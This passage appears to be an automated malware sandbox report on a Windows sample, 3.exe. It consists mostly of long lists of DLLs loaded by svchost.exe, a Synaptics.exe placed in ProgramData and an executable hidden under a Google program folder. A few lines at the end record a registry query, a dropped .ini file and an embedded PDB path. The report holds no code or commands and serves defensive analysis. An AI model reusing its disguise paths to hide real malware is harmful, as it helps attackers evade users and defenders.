Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: profext.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptprov.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\8ZXFDt5.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: 3.exe

Static file information: File size 22382592 > 1048576

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: 3.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x14ae000

Source:	Binary string: G:\projects\funny\GamePluginCtrl\Release\gamePluginCtrl.pdb source: C2485384.exe, 00000011.00000003.1495290658.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1521842965.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1501253722.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1515144360.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1499383423.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1467525326.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1520237047.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1467827540.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1502809257.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1462708344.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3795901712.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1499917413.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1467916272.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1487918139.0000000005385000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1500917467.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1560326458.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1500225099.0000000005390000.00000004.00000020.00020000.00000000.sdmp
